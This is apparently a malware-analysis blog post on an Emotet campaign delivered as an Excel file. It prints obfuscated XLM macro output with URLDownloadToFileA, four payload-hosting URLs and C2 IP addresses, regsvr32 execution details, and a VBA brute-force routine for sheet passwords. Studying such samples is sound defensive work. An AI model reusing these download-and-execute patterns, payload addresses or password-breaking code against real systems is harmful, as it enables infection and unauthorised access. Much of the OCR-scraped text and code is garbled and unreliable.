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In the last months, there has been an extensive campaign in Europe, especially of malware that calls “Emotet™.
The malware arrives as an Excel file and tries to communicate with a number of URLs and in the end, download

four DLL files to the machine.

Emotet uses an API call of CreateDirectoryA to create a folder where the files will be saved locally on the

computer and from there run through Regsvr32.exe.
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Emotet Behavior
Static Analysis:
OLE Tools:
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emnux:~/Downloads$ oledump.py Payment\ details.xls
4096 '\x05DocumentSummaryInformation'’

4096 '\x05SummaryInformation’

Checking the file structure.

Press enter or click to view image in full size
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Getting a clue that we have inside the excel 6 sheets.

Press enter or click to view image in full size
$ malwoverview.py -b 1 -B ef2ce6dladedf270eeab2beseqdnoboba7biad3a6cq0eTarinaeb6fa2566h809C

MALWARE BAZAAR REPORT

pe7af20aeb6fe2566b809c

application/vnd.ms-
T S5BY7999EGEF
d
email attachment
E4 Emotet Epochd4 ITA SilentBuilder Teledue Fattura 202

Checking the capabilities of the file by using malwoverview.py and get some clues.

Press enter or click to view image in full size
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Dr.Web rules:
Sending a custom TCP request by exploiting the app vulnerability
Launching a process by exploiting the app vulnerability
Sending an HTTP GET request
Searching for the window
Creating a window

Creating synchronization primitives

DNS request

Creating a file

Creating a process with a hidden window
Launching a process

Moving a recently created file

Get inside to the third stream and extract his strings.

Press enter or click to view image in full size

nmnux:~/Downloads$ oledump.py -s 3 -S Payment\ details.

Find 4 suspicious URLs.

n","URLDownloadToFil
s://audioselec.com/about/dDw5ggtyMojggTghc/","

://intolove.co.uk/wp-admin/FbGhiWtrEzrQ/",k"
s://geringer-muehle.de/wp-admin/G/", "
://1isc.net.ua/themes/3ru/","

The file contains macro. In addition, find all cells that contains the whole code.
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Downloads$ olevba Payment) details.xls
XLMMacroDeobfuscator: pywin32 is not installed (only is reguired if you want to
olevba 8.60.1 on Python 3.8.1@ - http://decalage.info/python/oletools

*x1lm macro.txt
xlm macro - OLE stream: 'xlm macro'

RAW EXCEL4/XLM MACRO FORMULAS:
SHEET: Sheet6, Macrosheet
CELL:GL3, =(((((((FORMULAC((({(((((((( " Sheet]l" |L24& ' Sheet]l'!L26)&" 'Sheetl" ' IL27)
*Sheet3' IM26,GL6)=FORMULA{{ ((CCCCCCQC e eetl'1L24&"'Sheetl' 1GR)&"Sh
%'Sheetl' 1A4)&'Sheet3' 1C32)&'Sheetl' IF18)& 'Sheet3 ' 1P21)&"'Sheet3' ILB)& 'Sheet5' IE
F6)&'Sheet2' IN19)&'Sheetl' |F18) &' Sheet2' IR3)&'Sheet5' 1021) & Sheet2' 1628)4& ' She
26)5&"'Sheetl'1L30)&' 'Sheetl' IF24)& 'Sheetl' 1L26)& 'Sheet3' IF19)& 'Sheet3 ' IDS) &' Sheetl
=FORMULAC(CC((C((C(((("'Sheet]l"' 'L24&" 'Sheet]l ' |L26)&" ' Sheetl' |L27)6&" ' Sheetl" |L28)
M26,G24) )=FORMULAC CCCOCCCCCCCO(((((("'Sheet]l ' IL24&"Sheetl' 1GB) & 'Sheetl' IF4
'Sheet3'!1C32)&"'Sheetl' |F10)&'Sheet3' |IP21)§& 3'1L8)&'Sheet5'1]13)& 'Sheetl’
IN19)&'Sheetl' |F18)& ' Sheet2' |R3)& ' Sheet5' 1021)& ' Sheet2' 1]29) & ' Sheet3 ' |R13) &' Shee
B)&'Sheetl' IF24)& 'Sheetl'IL26)&'Sheet3' IF19)& ' Sheet3' ID5) &' Sheetl' |A4)& Sheet3!' |
Sheetl'1L24&"'Sheetl’ 1G44)& ' Sheetl' |H46)& ' Sheetl' 1144,636), @

EMULATION - DEOBFUSCATED EXCEL4/XLM MACRO FORMULA
CELL:G13 , FullEvaluation

| ¥LM macro found. It

Dynamic Analysis:
First, we have try to open the excel (part of office 2021) we notice that it opened without

“Enable Content” pop up. after doing little research, the message shows just on 20072013 versions of office.

After then, Microsoft blocks the option of enabling running macros automatically.

Press enter or click to view image in full size

Eﬂ & Payrment detsils [Compatibaliey Mode] - Excel

fre Home nsen Page Layout Formulas  Data Review  View  Help

[:lrls.cm Calbe i A A == El #r . 35 Wrap Text Genersl . E :E' Normial

Copy ~
P e i | B 1 U B0 A | ST == BMepscoma - | $-% 9 (A C ondaioos) Forrat s (RN
Chpboard [} Fond T Algrmend & Humbe ]

E1i5 = fe {
A A B c o E F G H 1 J K L M N o 3

1 RELAUNCH REQUIRED  In accordance with the requiremsnts of your sequrity policy, o despley the contents of the documnent, you reed 10 copy the Ble 10 the following folder and nun it again:

for Mcrosoft Office 7013 112 and earfier - CAProgram Fllevi\Microsoft Office (xBER Templates.
e 2013 b and earler - CAProgram FileiWeirodolt Offee\Templates

Office 2016 332 snd Liber - C\Program Files (nB6Mecrosoft Office'rootiTemplates
ft Office 2016 w54 and Later - C\Program FileyMscrosoft Office\roofiTemplates

~

To enable macros we need to change the option like in the picture below:
** in office 2007/2013 it will run by clicking “Enable Content”

Press enter or click to view image in full size
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Need to save and enter it again to an excel file.
And now...

Press enter or click to view image in full size

o c. e

(D SECURITY WARNING Macros have been disabled.

E115 > fe

When we press on the button, four messages pops up.

Press enter or click to view image in full size

Trust Center
Genersl @ Help keep your documents safe and your g | Trusted Publishers
Fomules Trusted Locations
Security &
Data urity & more Trusted Documents
Procfing : i i
Visit Office.com to learn more about protecting your pl | Trusted Add-in Catalogs
Save Migr Ti niber Add-ins
Langua; . .
90 Mierosaft Excel Trust Center Activel( Settings
bl
Accessibility . . . . Macro Settings
o] The Teust Center containg security and privacy settings
b cormputer secure. We recammend that you do not chal | Protected View
Customize fibbon Message Bar
Quick Access Toolbar Extemal Content
Add-ing File Block Settings
Trust Center Privacy Options
Formn-based Son-in

Macro Settings

) Disabie VEA macros without netification

®) Dispble VBA macros with notification

) Disable VBA macros except digitally signed macros
) Enable VBA macros (not recammended; potentially di

B Enable Excel 4.0 macros when VBA macros are enabled|

Developer Macro Settings

] Trust access to the VBA project object model

Enable Content

ReqSvr32

RegSvr32

RegSvr32

x |

RegSvr32

files.
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@ The module “.\oxnv4.00cox” failed to load.

Make sure the binary is stored at the specified path or debug
it to check for problems with the binary or dependent .DLL

The specified module could not be found.

OK
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New Process Detected x

PROCESS: regsvr32 [2500]
FILE: C:\Windows\System32\regsvr32. exe

= - LR
OOCCXX

Press enter or click to view image in full size

B B e L i R L T

v B3l EXCEL.EXE 6912 160.8 MB  DESKTOP-366...)
regsvr32.exe 2900 6.17 MB  DESKTOP-366...\
(%] regsvr32.exe 6712 6.11MB DESKTOP-366..)
(5] regsvr32.exe 6636 6.17MB  DESKTOP-366...

E{lr&g

svr32.exe 8892 6.14 MB DESKTOP-366...\

child processes of Excel.

When clicking on regsvr32.exe you can see those macros using it to execute the malware. It acts like a dropper

because it generates a folder to place his DLL there.

Press enter or click to view image in full size

Image file name:
| C:\windows\System32iregsvr32.exe

Process
Commandline: | CAAWINDOWS\system32iregsvi32.exe “C:\UsersiJIINAPPDatalLocaliR WhBSAEC2Y JXOae| gxhiQHbH2HPS. I

when opening Excel and following the static investigation, we see 6 sheets that was hiding from the victim.

Unhide 7 X

Unhide one or more sheets:

A
Sheet2

Sheet3

Sheetd ‘
Sheets

Sheets

oK ' Cancel
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Each sheet requires a password.

Unprotect Sheet ? x

o Password: | =

‘I T i L.

Sheet Sheetl Sheet2 Sheet3 Sheetd Sheets Sheets

To extract the password, we use “password breaker for VBA”.

Source: https://www.instructables.com/VBA-Code-To-Unlock-A-Locked-Excel-Sheet/

Sub PasswordBreaker()

‘Breaks worksheet password protection.

Dim i As Integer, j As Integer, k As Integer

Dim | As Integer, m As Integer, n As Integer

Dim i1 As Integer, i2 As Integer, i3 As Integer

Dim i4 As Integer, i5 As Integer, i6 As Integer

On Error Resume Next

For i = 65 To 66: For j = 65 To 66: For k = 65 To 66
For 1 =65 To 66: For m = 65 To 66: For i1 = 65 To 66
For i2 = 65 To 66: For i3 = 65 To 66: For i4 = 65 To 66
For i5 = 65 To 66: For i6 = 65 To 66: For n = 32 To 126
ActiveSheet.Unprotect Chr(i) & Chr(j) & Chr(k) & _

Chr(1) & Chr(m) & Chr(i1) & Chr(i2) & Chr(i3) & _
Get Ilan Duhin’s stories in your inbox

Join Medium for free to get updates from this writer.
Remember me for faster sign in

Chr(i4) & Chr(i5) & Chr(i6) & Chr(n)

Page 7 of 15


https://www.instructables.com/VBA-Code-To-Unlock-A-Locked-Excel-Sheet/

https://medium.com/@llandu/emotet-campaign-6f240f7 a5ed5

If ActiveSheet.ProtectContents = False Then

MsgBox “One usable password is “ & Chr(i) & Chr(j) & _

Chr(k) & Chr(l) & Chr(m) & Chr(il) & Chr(i2) & _

Chr(i3) & Chr(i4) & Chr(i5) & Chr(i6) & Chr(n)

Exit Sub

End If

Next: Next: Next: Next: Next: Next

Next: Next: Next: Next: Next: Next

End Sub

To insert our VBA code we need to press: ALT+F11, paste it and Run.

L s . .

o=@ B

=-&3 VBAProject (Payment details.xls)
)5 Microsoft Excel Objects
@8] Sheet1 (Sheets)
-3 ThisWorkbook

View Code

View Object

Toggle Folders
VBAProject Properties... |
Insert »| B UserForm
Import File... | |E| Medule

Press enter or click to view image in full size

b Pasverszeakez ()
“Ereaks woTEIhess DaRFwSTd DIOTECTLCN,

Dim i &z Integes, § da Intepes, E Az Integez
Dim 1 &a Inc4ger, m AW Incapes. n AR Intepes

BLR L3 AF INTEME, &3 A INGEQRE. L3 AR INTEMT

DLm 14 As Integen, 13 As Entegrr, L6 As Integer

0o Error Bescme Mext

Faz 1 = &5 Yo €41 Tor ] = €5 To €61 For K = 45 To 44
Far L = &8 To @41 Tor & = 4% Te &1 For 13 = 43 To &4
Foz 12 = 44 To dd: For 43 = 43 To ddz Fox L4 = €4 To €6
For i% = 43 To €6: For 16 = 43 To &6z For o = 32 To 128
Savamednee.Urgrotect Shril) ¢ ChEd3l & Enain ¢
SREIL) & CRERN & CREELLY & CRELI) § SRZILMF &
Chafid} & Chriidh & Chedidd & CErim)

2f Aenavedhess.Pussessiontents = Falee Thes

Hoghow “ome usable pasweord is ¢ ¢ SAL(L) © CAEAN & _
GRTIE) & CRE(l} & Cheoml & CR2il} & CREOAD) & _
CR{id} & Criddd & Chrdad) & CBr{i} L Chei=)

AT Sub

84 Ir

Baxt: Bext: Next: Neat: Next: Sesc
Hamer Mewe: News: Hewe: Mewer Seee
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paste the password breaker inside every sheet.

Excel shows us automatically the password for the requested sheet.

i
e

Microsoft Excel X

One usable password is AAAAAAAAAAL

oK

E osoft Excel X

One usable password is AABABAAABBB™

We can verify it from press right click and see that the sheet is “Protected”.

Insert...

@ Delete

77 Rename

Move or Copy...
View Code
EZ Protect Sheet...
Tab Color >

Hide

Select All Sheets

Shee.. e

Sheet 1 data:

Press enter or click to view image in full size
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Sheet 2 data:

Press enter or click to view image in full size

{"urimo n™,"URLDownloadTol &A™ " ICCBE"

sxffaudioselec, comfabout/dDv SgatyMojgaTahe /"
JSiintolove.co.ukfwp-admin/FoGhiwtrEzry/™,"
s:ffgeringer-muehle.de/wp-admin/G™,"
-ffisc.net.uafthemesf3ruf "

When we reorganize the strings we see four URL’s:

- URLDownloadToFileA”, “JCCB”, 0, “https://audioselec.c[o]m/about/dDw5ggtyMojggTghc
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- https://geringer-muehle.[de]/wp-admin/G/
- http://intolove.co.[uk]/wp-admin/FbGhiWtrEzrQ/
- http://isc.net.[ua]/themes/3rU/

Sheet 3 data:

System3r,

egsy

AWindows),

"0

32.ex

Sheet 4 data:

Press enter or click to view image in full size

s:ffaudioselec.com/: s/ fgeringer-mue  :f/intolove.co.ukfw :ffisc.n

ut/dDw5ggtyMojggT hle.de/wp-admin/G/ p-admin/FbGhIWLrE: et.ua/themes/3ru/
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Another two URL’s that we saw earlier.
Sheet 5 data:

Press enter or click to view image in full size

oxXnv3.0000xx

|0==n'.'1.0<}cc:cx
.

oxnvA.ooccHx

OXNY 2, 0000KK

Sheet 6 data:

Contains the directions of how to summarize the strings.

DLL Analysis:
Export function number 18.

Press enter or click to view image in full size
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IDA View-A = Hex View-1 E
Name Address Ordinal
AVTKWUQYSw] 0000000 18000AB68 1
AXnThm 0000000 18000ABEC 2
AcaMIIQk 000000018000AC24 3
AjrtOaYWVPNuDcHgGjffrmUZH 000000018000AD 18 4
AruTaxgjInLAonVbNoGBGLVTSx 0000000 18000ADFO 5
BIwMdarMI 0000000 13000AF00 6
BVIIStrhtFBSUQFyl 000000013000AE70 7
BZCPocbNSrgizanbkthxUoX 0000000 18000ACBS3 8
BleNJbCoCyGEISgSIbOW 000000018000AF20 9
ByvcVErgsWigalyzeZvXccgIHx 000000018000AEA4 10
CxggbIMZOTvrp 000000018000ADC4 11
DBmdjUx 000000013000ADA0D 12
DEIZkbZXgKvipLgGdRHgxWRMQ 0000000 18000ACCO 13
DZvarDzrGfTikTgtgTUgkjBDhg 000000018000ACES 14
DcsmQyasRhXhBvUHdgS 000000018000AE28 15
DfWeBoyzc 000000018000ABASB 16
DIXVNbgsODuUJcPn 0000000 18000AESC 17

ﬂ DlIRegisterServer

000000018000AB1C

After funning the DLL we found a few interesting strings in the memory tab.
Press enter or click to view image in full size

General Statistics Performance Threads Token Modules Memory Environment Handles GPU  Comment

File

——  Microsoft(C) Register Server

Iii (Verified) Microsoft Windows

Version: 10.0.19041.1

Image file name:

IC:\Wxﬂm\SﬁMSZWWSE.exe I . 4

Process
Command line:

[ C:\Windows\system32\yegsvr32.exe "C:Wsers {MPPData\.bcal FeiDFqvkwhtH\HFFCPGYCHFFwBYC.dI"

In addition, it drops itself upon execution to the next path:

Press enter or click to view image in full size

File Home Share View
- v A » ThisPC » Local Disk (C)) » Users > [N > ArpData > Local > FeiDFqvkwitH
=] Pictures A *  Mame - Date medified Type Size
& Music [2] HFFCPGYCHIfFWBYC.dil 2/15/2023 7:53 PM Application exten... 576 KB

B videos

When analyzing the memory string of the DLL in VT we got a description of Emotet.

0x12fcc08 26 169.60.181.70
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0x131ebb0
0x131ec30
Ox131ecf0

-~ - - I e

N -

Press enter or click to view image in full size

Z 169.60.181.70

x

DETECTION

-~
12 )

|
W

[}

Cammunity Score

Press enter or click to view image in full size

Contained in Graphs (3) @

DETAILS

TEr e o a—— T ———

ttps:/f213.239.212.5/

https://95.217.221. 146:8080/
https://167.172.199. 165:8080/
https://169.57. 156. 166:8080

= UeE= i - [ ] [ ]

(]:) 12 security vendors flagged this IP address as malicious

169.60.181.70 (169.60.0.0/14)
AS 36351 ( SOFTLAYER )

RELATIONS COMMUNITY 0

) maxboutton EMOTET Relations
) sam2022_1 Emotet
€) owszso Emotet 2nd Nov 2022 - DMS2302

Comments (T) @

0O

This indicator was mentioned in a report.

patricksvgrapi
[ 1 month ago

P Title: The Taxman Never Sleeps

5} Reference: https:/fwww fortinet.com/blog/threat-researchithe-taxman-never-sleeps

Report Publish Date: 2022-12-21

<A Reference 10: #defbTh&1f (hitps /v virustotal com/quilsearch/defb7b81f/comments for report’s related indicators)

goodbear
= 1 month ago

C2 Emotet - 169.60.181.70:8080

Conclusions:
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- The macros reach out to download & execute the Emotet malware.
- The excel file using macros to reach out to web URLs.
- Via regsvr32.exe Emotet doing his execution.

- Emotet dropper is downloaded to a randomly generated folder under %UserProfile%\Appdata\Local as a dll file.

Source: https://medium.com/@Ilandu/emotet-campaign-6f240f7a5ed5
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